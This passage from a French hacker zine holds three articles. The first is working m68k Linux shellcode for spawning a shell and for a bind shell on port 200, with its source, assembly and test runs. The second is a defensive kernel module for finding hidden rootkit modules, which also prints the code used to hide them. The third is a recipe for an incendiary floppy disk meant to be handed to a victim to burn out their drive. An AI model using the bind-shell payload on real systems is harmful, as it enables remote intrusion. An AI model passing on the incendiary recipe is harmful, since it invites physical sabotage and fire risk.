"\x70\x0b" /* moveq #11,%d0 */
"\x48\x79\x2f\x2f\x73\x68" /* pea 0x2f2f7368 -> //sh */
"\x48\x79\x2f\x62\x69\x6e" /* pea 0x2f62696e -> /bin */
"\x22\x0f" /* movel %sp,%d1 */
"\xb5\x82" /* eorl %d2,%d2 -> */
"\x2f\x02" /* movel %d2,%sp@- -> pea 0x0 */
"\x48\x78\x01\x30" /* pea 0x130 */
"\x24\x0f" /* movel %sp,%d2 */
"\x26\x02" /* movel %d2,%d3 */
"\x4e\x40"; /* trap #0 */

main()
{
int *ret;
ret=(int *)&ret +2;
*ret = execve_shellcode;
}


# gcc execve_shellcode.c -o execve_shellcode
# ./execve_shellcode
sh-2.03# exit
exit
#

Notre shellcode. Parfaitement. Mais ce n'est certainement suffisant, nous devons donc
lier ce shellcode  un socket.


V. Shellcode Bind-socket.


Pour le debut nous allons ecrire notre shellcode en C:

#include <;;shiti;;>

main()
{
int fd,dupa;
struct sockaddr_in se4v;

fd=socket(AF_INET,SOCK_STREAM,0);
se4v.sin_port=200;
se4v.sin_family=2;
se4v.sin_addr.s_addr=0;

bind(fd,(struct sockaddr *)&se4v,sizeof(se4v));
listen(fd,1);
dupa=accept(fd,0,0);
dup2(dupa,0);
dup2(dupa,1);
dup2(dupa,2);
execl("/bin/sh","sh",0);
}

# gcc -static bindshell.c -o bindshell &
# ./bindshell &
[1] 276
# netstat -an | grep 200
tcp 0 0 0.0.0.0:200 0.0.0.0:* LISTEN
# telnet localhost 200
Trying 127.0.01...
Connected to localhost.
Escape character is '^]'.
echo aaaaaaaaaaaa
aaaaaaaaaaaa
ctrl+c
[1]+ Done ./bindshell

Tout marche. Maintenant la dernire chose qui nous interesse - il y a ici un travail
avec le reseau

# gdb -q ./bindshell
(gdb) disas socket
Dump of assembler code for function socket:
0x80004734 <socket>: moveal %d2,%a0
0x80004736 <socket+2>: moveq #102,%d0
0x80004738 <socket+4>: moveq #1,%d1
0x8000473a <socket+6>: lea %sp@(4),%a1
0x8000473e <socket+10>: movel %a1,%d2
0x80004740 <socket+12>: trap #0
0x80004742 <socket+14>: movel %a0,%d2
0x80004744 <socket+16>: tstl %d0
0x80004746 <socket+18>: bmil 0x80004958 <__syscall_error>
0x8000474c <socket+24>: rts
0x8000474e <socket+26>: rts
End of assembler dump.
(gdb)

Parfaitement. Comme partout ailleurs - 102 = socket_call. 1 - sys_socket.
(pour la liste complete regarder net.h). En procedant comme dit precedemment
nous devrions l'ecrire en assembleur:


.globl _start
_start:

/* socket(AF_INET,SOCK_STREAM,0); ----------------------------------------- */
/* af_inet - 2, sock_stream - 1, ip_proto0 - 0 */

moveq #2,%d0
movl %d0,%sp@ /* sock_stream */

moveq #1,%d0
movel %d0,%sp@(0x4) /* AF_INET */

eorl %d0,%d0
movl %d0,%sp@(0x8)

movl %sp,%d2 /* mets dans d2 l'addresse dans la pile sur ou est notre argv*/

movl #0x66,%d0 /* socketcall (asm/unistd.h) */
movl #1,%d1 /* sys_socket (linux/net.h) */
trap #0 /* va sur le vecteur 80 */


/* -bind(socket,(struct sockaddr *)&serv,sizeof(serv));-------------------- */

movl %d0,%sp@ /* dans d0 descripteurr sur le socket */

move #200,%d0
movl %d0,%sp@(0xc) /* Numero de port */

eorl %d0,%d0
movl %d0,%sp@(0x10) /* sin_addr.s_addr=0 */

moveq #2,%d0
movl %d0,%sp@(0x14) /* sin_family=2 */


/* Calculons l'adresse de l'arrangement des constantes du second argument et */
/* nous devrions mettre cette adresse comme etant le deuxime argument*/

leal %sp@(0xc),%a0
movl %a0,%sp@(0x4)

moveq #0x10,%d0
movl %d0,%sp@(0x8) /* 3eme argument 0x10 */

movl #0x66,%d0 /* socketcall (asm/unistd.h) */
movl #2,%d1 /* sys_bind (linux/net.h) */
trap #0 /* va sur le vecteur 80 */


/* listen (socket,1); ----------------------------------------------------- */
/* le descripteur du socket est dej dans la pile */
/*------------------------------------------------------------------------- */
moveq #1,%d0
movl %d0,%sp@(4)

/* dans d2 mets dj les premiers arguments dans la pile*/

movl #0x66,%d0 /* scoketcall (asm/unistd.h) */
movl #4,%d1 /* sys_listen (linux/net.h) */
trap #0 /* va sur le vecteur 80 */

/* accept (fd,0,0); ------------------------------------------------------- */

eorl %d0,%d0
movl %d0,%sp@(4)
movl %d0,%sp@(


movl #0x66,%d0 /* scoketcall (asm/unistd.h) */
movl #5,%d1 /* sys_accept (linux/net.h) */
trap #0 /* va sur le vecteur 80 */

/* dup2 (cli,0); ---------------------------------------------------------- */
/* dup2 (cli,1); ---------------------------------------------------------- */
/* dup2 (cli,2); ---------------------------------------------------------- */

movl %d0,%d1
movl #0x3f,%d0
movl #0,%d2
trap #0

movl %d0,%d1
movl #0x3f,%d0
movl #1,%d2
trap #0

movl %d0,%d1
movl #0x3f,%d0
movl #2,%d2
trap #0

/* execve ("/bin/sh"); ----------------------------------------------------- */

movl #11,%d0 /* execve */
pea 0x2f2f7368 /* //sh */
pea 0x2f62696e /* /bin */
movl %sp,%d1 /* /bin/sh dans %d1 */

eorl %d2,%d2
movl %d2,%sp@- /* pea 0x0 */
pea 0x0130 /* 0030 -> 0130 = tue le zero */

movl %sp,%d2
movl %d2,%d3
trap #0

/* ---EOF---bindsock shellcode--------------------------------------------- */


# as bindshell.s -o bindshell.o ; ld bindshell.o -o bindshell
# ./bindshell &
[309]
# telnet localhost 200
Trying 127.0.01...
Connected to localhost.
Escape character is '^]'.
echo aaaaaaaaaaaa
aaaaaaaaaaaa
ctrl+c

En general, le code n'est certainement pas super optimise, il y a quelque zero,
mais l'image que je cherche  donner y est. Et a la fin voil ce que l'on devrait avoir:


char bind_shellcode[]=
"\x70\x02" /* moveq #2,%d0 */
"\x2e\x80" /* movel %d0,%sp@ */
"\x70\x01" /* moveq #1,%d0 */
"\x2f\x40\x00\x04" /* movel %d0,%sp@(4) */
"\xb1\x80" /* eorl %d0,%d0 */
"\x2f\x40\x00\x08" /* movel %d0,%sp@( */
"\x24\x0f" /* movel %sp,%d2 */
"\x70\x66" /* moveq #102,%d0 */
"\x72\x01" /* moveq #1,%d1 */
"\x4e\x40" /* trap #0 */
"\x2e\x80" /* movel %d0,%sp@ */
"\x30\x3c\x00\xc8" /* movew #200,%d0 */
"\x2f\x40\x00\x0c" /* movel %d0,%sp@(12) */
"\xb1\x80" /* eorl %d0,%d0 */
"\x2f\x40\x00\x10" /* movel %d0,%sp@(16) */
"\x70\x02" /* moveq #2,%d0 */
"\x2f\x40\x00\x14" /* movel %d0,%sp@(20) */
"\x41\xef\x00\x0c" /* lea %sp@(12),%a0 */
"\x2f\x48\x00\x04" /* movel %a0,%sp@(4) */
"\x70\x10" /* moveq #16,%d0 */
"\x2f\x40\x00\x08" /* movel %d0,%sp@( */
"\x70\x66" /* moveq #102,%d0 */
"\x72\x02" /* moveq #2,%d1 */
"\x4e\x40" /* trap #0 */
"\x70\x01" /* moveq #1,%d0 */
"\x2f\x40\x00\x04" /* movel %d0,%sp@(4) */
"\x70\x66" /* moveq #102,%d0 */
"\x72\x04" /* moveq #4,%d1 */
"\x4e\x40" /* trap #0 */
"\xb1\x80" /* eorl %d0,%d0 */
"\x2f\x40\x00\x04" /* movel %d0,%sp@(4) */
"\x2f\x40\x00\x08" /* movel %d0,%sp@( */
"\x70\x66" /* moveq #102,%d0 */
"\x72\x05" /* moveq #5,%d1 */
"\x4e\x40" /* trap #0 */
"\x22\x00" /* movel %d0,%d1 */
"\x70\x3f" /* moveq #63,%d0 */
"\x74\x00" /* moveq #0,%d2 */
"\x4e\x40" /* trap #0 */
"\x22\x00" /* movel %d0,%d1 */
"\x70\x3f" /* moveq #63,%d0 */
"\x74\x01" /* moveq #1,%d2 */
"\x4e\x40" /* trap #0 */
"\x22\x00" /* movel %d0,%d1 */
"\x70\x3f" /* moveq #63,%d0 */
"\x74\x02" /* moveq #2,%d2 */
"\x4e\x40" /* trap #0 */
"\x70\x0b" /* moveq #11,%d0 */
"\x48\x79\x2f\x2f\x73\x68" /* pea 2f2f7368 */
"\x48\x79\x2f\x62\x69\x6e" /* pea 2f62696e */
"\x22\x0f" /* movel %sp,%d1 */
"\xb5\x82" /* eorl %d2,%d2 */
"\x2f\x02" /* movel %d2,%sp@- */
"\x48\x78\x01\x30" /* pea 130 */
"\x24\x0f" /* movel %sp,%d2 */
"\x26\x02" /* movel %d2,%d3 */
"\x4e\x40"; /* trap #0 */

main()
{
int *ret;
ret=(int *)&ret +2;
*ret = bind_shellcode;
}


p.s. comme toujours- dsol pour mon mauvais anglais.
[NDT: ouai pour ca je confirme]

VI. References.

[1] http://e-www.motorola.com/collateral/M68000PRM.pdf - manuel des programmeurs
[2] http://e-www.motorola.com/brdata/PDFDB/docs/MC68060UM.pdf - manuel de l'utilisateur
[3] http://www.lsd-pl.net/documents/asmcodes-1.0.2.pdf - bon tutorial


|=-----------------------------------------------------------------------=|
|=-=[ 6 - Trouver des modules de kernel cach (le moyen extreme) ]=------=|
|=-----------------------------------------------------------------------=|

par madsys <madsys at ercist.iscas.ac.cn>


1 Introduction
2 La technique pour cacher des modules
3 Contres mesures -- brute force
4 Probleme du unmapp
5 Remerciments
6 References
7 Code

1 Introduction
==============

Cet article presente une methode qui permet de trouver des modules cachs
dans un systeme linux. Pour parler gnralement, la plupart des attaquants
tentent de cacher leurs modules apres avoir mis leur victime  terre.
Ils aiment ce moyen de prvenir que l'administrateur ne dtecte les 
changements de kernel. Comme les modules etaient lis  une chaine simple,
les originaux ne pouvaient etre recupers pendant que d'autres avaient t
ots. Dans ce sens, il tait difficile de retrouver les modules cachs.
Des connaissances essentielles en C et des connaissances primaires du 
kernel linux sont ncessaires.


2 La technique de camouflage de module
======================================

Avant tout, la plus populaire et la plus gnrale des techniques pour 
camoufler les modules et le [quomodo ?] des applications pour obtenir 
les listes des modules sont examins.
Une implmentation des camouflages des modules sont montrs ci-dessous:


----Coupez----
struct module *p;

for (p=&__this_module; p->next; p=p->next)
{
if (strcmp(p->next->name, str))
continue;
p->next=p->next->next; // <-- ici ca
ote ce module
break;
}

----Coupez----

Comme vous pouvez le voir, dans le but de cacher un module, la chaine 
unidirectionnelle a t modifi, et ce qui suis est un morceau du 
sys_create_module() system call, qui peut indiquer pourquoi la technique 
marchait:


----Coupez----
spin_lock_irqsave(&modlist_lock, flags);
mod->next = module_list;
module_list = mod; /* fait le lien */
spin_unlock_irqrestore(&modlist_lock, flags);
----Coupez----


Une conclusion peut tre faite: les modules lis  la fin de la chaine
unidirectionelle quand ils ont t crs.
"lsmod" est une application linux qui listent les modules presentement 
chargs, qui utilisent les system call sys_query_module() pour obtenir la 
liste des modules chargs, et qm_modules() est la fonction appele par lui
lors de la requete sur les modules:

static int qm_modules(char *buf, size_t bufsize, size_t *ret)
{
struct module *mod;
size_t nmod, space, len;

nmod = space = 0;

for (mod=module_list; mod != &kernel_module; mod=mod->next,
++nmod) {
len = strlen(mod->name)+1;
if (len > bufsize)
goto calc_space_needed;
if (copy_to_user(buf, mod->name, len))
return -EFAULT;
buf += len;
bufsize -= len;
space += len;
}

if (put_user(nmod, ret))
return -EFAULT;
else
return 0;

calc_space_needed:
space += len;
while ((mod = mod->next) != &kernel_module)
space += strlen(mod->name)+1;

if (put_user(space, ret))
return -EFAULT;
else
return -ENOSPC;
}

note: le pointeur module_list est toukours  la tte de la chaine  lien 
unique. Cel montre clairement que la technique de camouflage de module 
fonctionne.




3 Contre-mesures -- brute force
===============================

D'apres la technique pour cacher le smodules, le brute force pourrait tre
utile. Le system call sys_creat_module() est expremi comme ci dessous.

--Coupez--
if ((mod = (struct module *)module_map(size)) == NULL) {
error = -ENOMEM;
goto err1;
}
--Coupez--

et la macro module_map dans "asm/module.h":
#define module_map(x) vmalloc(x)

Vous devriez avoir remarqu que la fonction appelle vmalloc() pour 
attribuer la structure du module. Ainsi, la limitation de taille de la 
zone de vmalloc pour le brute force est capable d'tre exploit pour 
dterminer quels modules sont dans notre systeme. Comme vous le savez, la 
zone de vmalloc est de 128M(kernel 2.2, 2.4, il y a plusieurs zones 
d'inanition  l'intrieur), cependant tout les modules allous devraient 
tre aligns par 4K. Donc, le nombre maximum theorique que nous sommes 
suppos detect etaient 128M/4k=32768.


4 Probleme du unmapp
=====================

Jusqu'ici, peut tre pensez vous: "humm, c'est tres facile de utiliser le 
brute force pour lister ces satans modules". Mais ce n'est pas vrai pour 
une raison importante: il est possible que l'adresse dont vous essayer 
d'avoir l'acces est unmappe, ainsi cel peut provoquer une faute de 
"paging" et le kernel donnera le message:
"Unable to handle kernel paging request at virtual address" [NDT: 
incapable de maintenir la requete de paging du kernel a l'adresse 
virtuelle]

Ainsi, nous devons tre sur que l'adresse  laquelle nous accedons est 
mapp. La solution est de verifier la validit de l'entre correspondante 
dans le kernel pgd(swapper_pg_dir) et de l'entre correpondante dans la 
page de table. Par ailleurs, nous sommes censs nous assurer que le 
contenu de l'adresse pointe par par le pointeur "name" (dans le moule 
struct) etait valide. Par ce que les 768  1024 entres des process 
utilisateurs [DT: pgd ????] etaient synchroniss avec le kernel, et c'est 
la raison pour laquelle une adresse pure et dure du kernel pgd (0xc0101000
) a t utilise.

Ce qui suis est une fonction pour valider ces entres dans pgd ou pgt:

int valid_addr(unsigned long address)
{
unsigned long page;

if (!address)
return 0;

page = ((unsigned long *)0xc0101000)[address >> 22];
//pde
if (page & 1)
{
page &= PAGE_MASK;
address &= 0x003ff000;
page = ((unsigned long *) __va(page))[address >>
PAGE_SHIFT]; //pte
if (page)
return 1;
}

return 0;
}

Apres la validation de ces adresses que l'on veut verifier, l'tape
suivante sera simple -- juste du brute force. Comme la liste des modules
cachs a t cre, vous pourriez la comparer a avec ce que vous sort 
"lsmod". Et ainsi vous pouvez trouver ces satans modules et vous 
debarrassez d'eux librement.

5 Remerciments
==============

remerciements  uberhax0rs@linuxforum.net


6 Code
======

-----BEGING MODULE_HUNTER.C-----
/*
* module_hunter.c: cherche des motifsf dans les espaces des adresses du kernel
* qui ressemblent  des structures de modules. Cet outil cherche des 
* modules cachs qui sont non relis  l'enchainement des modules chargs.
*
* Cet outil est actuellement implent comme un module mais peut facilement
* etre port a une application utilisateur (avec /dev/kmem).
*
* Compiler avec: gcc -c module_hunter.c -I/usr/src/linux/include
* insmod ./module_hunter.o
*
* usage: cat /proc/showmodules && dmesg
*/

#define MODULE
#define __KERNEL__

#include <linux/config.h>

#ifdef CONFIG_SMP
#define __SMP__
#endif

#ifdef CONFIG_MODVERSIONS
#define MODVERSIONS
#include <linux/modversions.h>
#endif

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/version.h>

#include <linux/unistd.h>
#include <linux/string.h>


#include <linux/proc_fs.h>

#include <linux/errno.h>
#include <asm/uaccess.h>


#include <asm/pgtable.h>
#include <asm/fixmap.h>
#include <asm/page.h>

static int errno;


int valid_addr(unsigned long address)
{
unsigned long page;

if (!address)
return 0;

page = ((unsigned long *)0xc0101000)[address >> 22];

if (page & 1)
{
page &= PAGE_MASK;
address &= 0x003ff000;
page = ((unsigned long *) __va(page))[address >> PAGE_SHIFT]; //pte
if (page)
return 1;
}

return 0;
}

ssize_t
showmodule_read(struct file *unused_file, char *buffer, size_t len, loff_t *off)
{
struct module *p;

printk("address module\n\n");
for (p=(struct module *)VMALLOC_START; p<=(struct \
module*)(VMALLOC_START+VMALLOC_RESERVE-PAGE_SIZE); p=(struct module \
*)((unsigned long)p+PAGE_SIZE))
{
if (valid_addr((unsigned long)p+ (unsigned long)&((struct \
module *)NULL)->name) && valid_addr(*(unsigned long *)((unsigned long)p+ \
(unsigned long)&((struct module *)NULL)->name)) && strlen(p->name))
if (*p->name>=0x21 && *p->name<=0x7e && (p->size < 1 <<20))
printk("0x%p%20s size: 0x%x\n", p, p->name, p->size);
}

return 0;
}

static struct file_operations showmodules_ops = {
read: showmodule_read,
};

int init_module(int x)
{
struct proc_dir_entry *entry;

entry = create_proc_entry("showmodules", S_IRUSR, &proc_root);
entry->proc_fops = &showmodules_ops;

return 0;
}

void cleanup_module()
{
remove_proc_entry("showmodules", &proc_root);
}

MODULE_LICENSE("GPL");
MODULE_AUTHOR("madsys<at>ercist.iscas.ac.cn");
-----END MODULE-HUNTER.C-----


|=-----------------------------------------------------------------------=|
|=-=[ 7 - Les Bonne vieilles disquette bombe ]=--------------------------=|
|=-----------------------------------------------------------------------=|

[ Note des diteurs: Nous pensons que le temp est venu de
re-publize quelques techniques de pyro, qui on tait oubli Enjoy. ]

##########################################
# Comment faire une disquette explosives #
# par Phrick-A-Phrack                    #
##########################################


Comment faire une disquette explosive
Par Phrick-A-Phrack

Avant de commencer je voudrais dire clairement que je ne prendrais
aucune responsabilite quand aux utilisation des informations ici prsente

Ce petit bb est pas mal pour bourrer un peu l'ordinateur de quelqu'un.
Il peut tre utile pour toute une plage d'autre choses.

Vous aurez besoin:

- D'une disquette (C'est une bonne ide d'utiliser des disquettes
3,5 pouces.
- D'une paire de ciseau
- Des alumettes domestique blanches ou bleues (je ne sais pas pourquoi mais
il semblerais que cel ne fonctionne pas avec les autres couleurs)
- Du vernis a ongle.

Que faut il maintenant faire:

-Ouvrir delicatement la disquette.
-Oter le coton recouvrant la partie interne.
-Racler de la poudre d'alumette dans un recipient.
(utiliser un ustensile en bois et non un objet en metal
qui serait susceptible d'enflammer la poudre)
(NDT: Le traducteur conclu ainsi a la lecture de ce commentaire, que les 
alumettes dit "de suret" (a grattoir au phosphore) ne fonctionneront pas
pour cette manipulation, Et qu'il faut dans ce cas precis prendre ces 
vieilles alummettes qui s'allumment en les frottant sur n'importe quelle 
surface rugueuse)
-Laisser couler du vernis a ongle sur la poudre d'alumette prealablement
 repartie dans la disquette.
-Laisser secher.
-Refermer la disquette avec beaucoup de precaution, en utilisant un peu de 
 vernis a ongle pour la refermer.

Comment utiliser la disquette:

Donner  la personne  laquelle vous avez envie "d'arranger l'ordinateur".
Dites lui que ce qui est sur la disquette pourrait l'interesser.
Quant la personne essaye d'inserer la disquette cel provoque un petit feu,
suffisant pour faire fondre le lecteur et la tete de lecture.


   ^^Phrick-A-Phrack^^ 